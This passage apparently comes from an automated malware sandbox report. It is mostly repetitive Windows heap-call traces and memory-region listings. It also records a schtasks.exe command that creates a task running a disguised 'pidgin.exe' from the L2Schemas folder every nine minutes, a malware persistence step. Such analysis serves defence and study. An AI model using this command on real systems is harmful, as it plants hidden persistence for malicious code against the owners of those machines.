GetProcessHeap () returned 0x1ed3df50000 [0111.194] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df54470) returned 1 [0111.194] GetProcessHeap () returned 0x1ed3df50000 [0111.194] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df54470) returned 0x20 [0111.195] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df54470) returned 1 [0111.195] GetProcessHeap () returned 0x1ed3df50000 [0111.195] GetProcessHeap () returned 0x1ed3df50000 [0111.195] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df53fe0) returned 1 [0111.195] GetProcessHeap () returned 0x1ed3df50000 [0111.195] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df53fe0) returned 0x20 [0111.196] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df53fe0) returned 1 [0111.196] GetProcessHeap () returned 0x1ed3df50000 [0111.196] GetProcessHeap () returned 0x1ed3df50000 [0111.196] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5b750) returned 1 [0111.196] GetProcessHeap () returned 0x1ed3df50000 [0111.196] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5b750) returned 0x20 [0111.197] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5b750) returned 1 [0111.197] GetProcessHeap () returned 0x1ed3df50000 [0111.197] GetProcessHeap () returned 0x1ed3df50000 [0111.197] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5a8d0) returned 1 [0111.197] GetProcessHeap () returned 0x1ed3df50000 [0111.197] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5a8d0) returned 0xa [0111.197] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5a8d0) returned 1 [0111.197] GetProcessHeap () returned 0x1ed3df50000 [0111.197] GetProcessHeap () returned 0x1ed3df50000 [0111.197] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5b3f0) returned 1 [0111.197] GetProcessHeap () returned 0x1ed3df50000 [0111.197] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5b3f0) returned 0x20 [0111.198] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5b3f0) returned 1 [0111.198] GetProcessHeap () returned 0x1ed3df50000 [0111.198] GetProcessHeap () returned 0x1ed3df50000 [0111.198] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df53930) returned 1 [0111.198] GetProcessHeap () returned 0x1ed3df50000 [0111.198] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df53930) returned 0x30 [0111.199] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df53930) returned 1 [0111.199] GetProcessHeap () returned 0x1ed3df50000 [0111.199] GetProcessHeap () returned 0x1ed3df50000 [0111.199] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5b930) returned 1 [0111.199] GetProcessHeap () returned 0x1ed3df50000 [0111.199] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5b930) returned 0x20 [0111.199] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5b930) returned 1 [0111.199] GetProcessHeap () returned 0x1ed3df50000 [0111.199] GetProcessHeap () returned 0x1ed3df50000 [0111.199] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df542a0) returned 1 [0111.200] GetProcessHeap () returned 0x1ed3df50000 [0111.200] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df542a0) returned 0x30 [0111.200] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df542a0) returned 1 [0111.200] GetProcessHeap () returned 0x1ed3df50000 [0111.200] GetProcessHeap () returned 0x1ed3df50000 [0111.200] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5b840) returned 1 [0111.200] GetProcessHeap () returned 0x1ed3df50000 [0111.200] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5b840) returned 0x20 [0111.201] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5b840) returned 1 [0111.204] GetProcessHeap () returned 0x1ed3df50000 [0111.204] GetProcessHeap () returned 0x1ed3df50000 [0111.204] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5aad0) returned 1 [0111.204] GetProcessHeap () returned 0x1ed3df50000 [0111.204] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5aad0) returned 0x10 [0111.204] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5aad0) returned 1 [0111.204] GetProcessHeap () returned 0x1ed3df50000 [0111.204] GetProcessHeap () returned 0x1ed3df50000 [0111.205] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5b630) returned 1 [0111.205] GetProcessHeap () returned 0x1ed3df50000 [0111.205] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5b630) returned 0x20 [0111.205] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5b630) returned 1 [0111.205] GetProcessHeap () returned 0x1ed3df50000 [0111.205] GetProcessHeap () returned 0x1ed3df50000 [0111.205] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5a970) returned 1 [0111.205] GetProcessHeap () returned 0x1ed3df50000 [0111.205] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5a970) returned 0x10 [0111.205] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5a970) returned 1 [0111.205] GetProcessHeap () returned 0x1ed3df50000 [0111.205] GetProcessHeap () returned 0x1ed3df50000 [0111.205] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5b3c0) returned 1 [0111.206] GetProcessHeap () returned 0x1ed3df50000 [0111.206] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5b3c0) returned 0x20 [0111.206] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5b3c0) returned 1 [0111.206] GetProcessHeap () returned 0x1ed3df50000 [0111.206] GetProcessHeap () returned 0x1ed3df50000 [0111.207] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5a930) returned 1 [0111.207] GetProcessHeap () returned 0x1ed3df50000 [0111.207] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5a930) returned 0xe [0111.207] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5a930) returned 1 [0111.207] GetProcessHeap () returned 0x1ed3df50000 [0111.207] GetProcessHeap () returned 0x1ed3df50000 [0111.207] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5b8a0) returned 1 [0111.207] GetProcessHeap () returned 0x1ed3df50000 [0111.207] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5b8a0) returned 0x20 [0111.208] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5b8a0) returned 1 [0111.208] GetProcessHeap () returned 0x1ed3df50000 [0111.208] GetProcessHeap () returned 0x1ed3df50000 [0111.208] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5a8f0) returned 1 [0111.208] GetProcessHeap () returned 0x1ed3df50000 [0111.208] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5a8f0) returned 0x16 [0111.208] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5a8f0) returned 1 [0111.208] GetProcessHeap () returned 0x1ed3df50000 [0111.208] GetProcessHeap () returned 0x1ed3df50000 [0111.208] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5bb10) returned 1 [0111.208] GetProcessHeap () returned 0x1ed3df50000 [0111.208] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5bb10) returned 0x20 [0111.209] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5bb10) returned 1 [0111.209] GetProcessHeap () returned 0x1ed3df50000 [0111.209] GetProcessHeap () returned 0x1ed3df50000 [0111.209] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5aa10) returned 1 [0111.209] GetProcessHeap () returned 0x1ed3df50000 [0111.209] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5aa10) returned 0x16 [0111.209] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5aa10) returned 1 [0111.209] GetProcessHeap () returned 0x1ed3df50000 [0111.209] GetProcessHeap () returned 0x1ed3df50000 [0111.209] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5b570) returned 1 [0111.209] GetProcessHeap () returned 0x1ed3df50000 [0111.209] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5b570) returned 0x20 [0111.210] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5b570) returned 1 [0111.210] GetProcessHeap () returned 0x1ed3df50000 [0111.210] GetProcessHeap () returned 0x1ed3df50000 [0111.210] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df75a50) returned 1 [0111.210] GetProcessHeap () returned 0x1ed3df50000 [0111.210] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df75a50) returned 0x82 [0111.211] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df75a50) returned 1 [0111.211] GetProcessHeap () returned 0x1ed3df50000 [0111.211] GetProcessHeap () returned 0x1ed3df50000 [0111.211] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5b600) returned 1 [0111.211] GetProcessHeap () returned 0x1ed3df50000 [0111.211] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5b600) returned 0x20 [0111.212] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5b600) returned 1 [0111.212] GetProcessHeap () returned 0x1ed3df50000 [0111.212] GetProcessHeap () returned 0x1ed3df50000 [0111.212] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5aaf0) returned 1 [0111.212] GetProcessHeap () returned 0x1ed3df50000 [0111.212] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5aaf0) returned 0xe [0111.212] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5aaf0) returned 1 [0111.212] GetProcessHeap () returned 0x1ed3df50000 [0111.212] GetProcessHeap () returned 0x1ed3df50000 [0111.212] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5b660) returned 1 [0111.213] GetProcessHeap () returned 0x1ed3df50000 [0111.213] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5b660) returned 0x20 [0111.213] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5b660) returned 1 [0111.213] GetProcessHeap () returned 0x1ed3df50000 [0111.213] GetProcessHeap () returned 0x1ed3df50000 [0111.213] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df54420) returned 1 [0111.213] GetProcessHeap () returned 0x1ed3df50000 [0111.213] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df54420) returned 0x18 [0111.213] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df54420) returned 1 [0111.213] GetProcessHeap () returned 0x1ed3df50000 [0111.213] GetProcessHeap () returned 0x1ed3df50000 [0111.214] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df59120) returned 1 [0111.214] GetProcessHeap () returned 0x1ed3df50000 [0111.214] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df59120) returned 0x20 [0111.214] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df59120) returned 1 [0111.214] GetProcessHeap () returned 0x1ed3df50000 [0111.214] GetProcessHeap () returned 0x1ed3df50000 [0111.215] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df58e80) returned 1 [0111.215] GetProcessHeap () returned 0x1ed3df50000 [0111.215] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df58e80) returned 0x20 [0111.215] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df58e80) returned 1 [0111.250] GetProcessHeap () returned 0x1ed3df50000 [0111.250] GetProcessHeap () returned 0x1ed3df50000 [0111.250] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df58f40) returned 1 [0111.250] GetProcessHeap () returned 0x1ed3df50000 [0111.250] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df58f40) returned 0x20 [0111.251] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df58f40) returned 1 [0111.251] GetProcessHeap () returned 0x1ed3df50000 [0111.251] GetProcessHeap () returned 0x1ed3df50000 [0111.251] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df59030) returned 1 [0111.251] GetProcessHeap () returned 0x1ed3df50000 [0111.251] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df59030) returned 0x20 [0111.252] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df59030) returned 1 [0111.252] GetProcessHeap () returned 0x1ed3df50000 [0111.252] GetProcessHeap () returned 0x1ed3df50000 [0111.252] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df54010) returned 1 [0111.252] GetProcessHeap () returned 0x1ed3df50000 [0111.252] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df54010) returned 0x18 [0111.252] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df54010) returned 1 [0111.252] GetProcessHeap () returned 0x1ed3df50000 [0111.252] GetProcessHeap () returned 0x1ed3df50000 [0111.252] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df59060) returned 1 [0111.252] GetProcessHeap () returned 0x1ed3df50000 [0111.252] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df59060) returned 0x20 [0111.253] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df59060) returned 1 [0111.253] GetProcessHeap () returned 0x1ed3df50000 [0111.253] GetProcessHeap () returned 0x1ed3df50000 [0111.253] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df59180) returned 1 [0111.253] GetProcessHeap () returned 0x1ed3df50000 [0111.253] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df59180) returned 0x20 [0111.254] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df59180) returned 1 [0111.254] GetProcessHeap () returned 0x1ed3df50000 [0111.254] GetProcessHeap () returned 0x1ed3df50000 [0111.254] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df591b0) returned 1 [0111.254] GetProcessHeap () returned 0x1ed3df50000 [0111.254] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df591b0) returned 0x20 [0111.255] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df591b0) returned 1 [0111.255] GetProcessHeap () returned 0x1ed3df50000 [0111.255] GetProcessHeap () returned 0x1ed3df50000 [0111.255] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df591e0) returned 1 [0111.255] GetProcessHeap () returned 0x1ed3df50000 [0111.255] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df591e0) returned 0x20 [0111.255] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df591e0) returned 1 [0111.255] GetProcessHeap () returned 0x1ed3df50000 [0111.255] GetProcessHeap () returned 0x1ed3df50000 [0111.256] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df58fa0) returned 1 [0111.256] GetProcessHeap () returned 0x1ed3df50000 [0111.256] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df58fa0) returned 0x20 [0111.256] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df58fa0) returned 1 [0111.256] GetProcessHeap () returned 0x1ed3df50000 [0111.256] GetProcessHeap () returned 0x1ed3df50000 [0111.256] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df54030) returned 1 [0111.256] GetProcessHeap () returned 0x1ed3df50000 [0111.256] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df54030) returned 0x18 [0111.256] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df54030) returned 1 [0111.257] GetProcessHeap () returned 0x1ed3df50000 [0111.257] GetProcessHeap () returned 0x1ed3df50000 [0111.257] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df58f10) returned 1 [0111.257] GetProcessHeap () returned 0x1ed3df50000 [0111.257] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df58f10) returned 0x20 [0111.257] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df58f10) returned 1 [0111.257] GetProcessHeap () returned 0x1ed3df50000 [0111.257] GetProcessHeap () returned 0x1ed3df50000 [0111.257] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df54ec0) returned 1 [0111.257] GetProcessHeap () returned 0x1ed3df50000 [0111.257] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df54ec0) returned 0x18 [0111.258] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df54ec0) returned 1 [0111.258] exit (_Code=0) Thread: id = 143 os_tid = 0x1224 Process: id = "11" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x44ff2000" os_pid = "0x1254" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x1120" cmd_line = "schtasks.exe /create /tn \"pidginp\" /sc MINUTE /mo 9 /tr \"'C:\\Windows\\L2Schemas\\pidgin.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2599 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2600 start_va = 0x908fd60000 end_va = 0x908fddffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000908fd60000" filename = "" Region: id = 2601 start_va = 0x908fe00000 end_va = 0x908fffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000908fe00000" filename = "" Region: id = 2602 start_va = 0x26b6b720000 end_va = 0x26b6b73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000026b6b720000" filename = "" Region: id = 2603 start_va = 0x26b6b740000 end_va = 0x26b6b754fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000026b6b740000" filename = "" Region: id = 2604 start_va = 0x26b6b760000 end_va = 0x26b6b763fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000026b6b760000" filename = "" Region: id = 2605 start_va = 0x26b6b770000 end_va = 0x26b6b770fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000026b6b770000" filename = "" Region: id = 2606 start_va = 0x26b6b780000 end_va = 0x26b6b781fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000026b6b780000" filename = "" Region: id = 2607 start_va = 0x7df5ff5e0000 end_va = 0x7ff5ff5dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff5e0000" filename = "" Region: id = 2608 start_va = 0x7ff684b70000 end_va = 0x7ff684b92fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff684b70000" filename = "" Region: id = 2609 start_va = 0x7ff685110000 end_va = 0x7ff68514cfff monitored = 1 entry_point = 0x7ff685134550 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2610 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2611 start_va = 0x26b6b790000 end_va = 0x26b6b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000026b6b790000" filename = "" Region: id = 2612 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2613 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2614 start_va = 0x26b6b720000 end_va = 0x26b6b72ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000026b6b720000" filename = "" Region: id = 2615 start_va = 0x7ff684a70000 end_va = 0x7ff684b6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff684a70000" filename = "" Region: id = 2616 start_va = 0x26b6b790000 end_va = 0x26b6b84dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2617 start_va = 0x26b6b900000 end_va = 0x26b6b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000026b6b900000" filename = "" Region: id = 2618 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2619 start_va = 0x9090000000 end_va = 0x909007ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000009090000000" filename = "" Region: id = 2620 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2621 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 2622 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2623 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2624 start_va = 0x26b6b850000 end_va = 0x26b6b8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000026b6b850000" filename = "" Region: id = 2625 start_va = 0x26b6b730000 end_va = 0x26b6b736fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000026b6b730000" filename = "" Region: id = 2626 start_va = 0x26b6ba00000 end_va = 0x26b6bb42fff monitored = 0 entry_point = 0x26b6ba28210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2627 start_va = 0x26b6b850000 end_va = 0x26b6b856fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000026b6b850000" filename = "" Region: id = 2628 start_va = 0x26b6b8e0000 end_va = 0x26b6b8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000026b6b8e0000" filename = "" Region: id = 2629 start_va = 0x26b6b860000 end_va = 0x26b6b872fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2630 start_va = 0x26b6ba00000 end_va = 0x26b6bd36fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2631 start_va = 0x26b6bd40000 end_va = 0x26b6be1cfff monitored = 0 entry_point = 0x26b6bd9e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2632 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 2633 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2634 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2635 start_va = 0x26b6b880000 end_va = 0x26b6b8b8fff monitored = 0 entry_point = 0x26b6b8812f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2636 start_va = 0x26b6bd40000 end_va = 0x26b6bec7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000026b6bd40000" filename = "" Region: id = 2637 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2638 start_va = 0x26b6b880000 end_va = 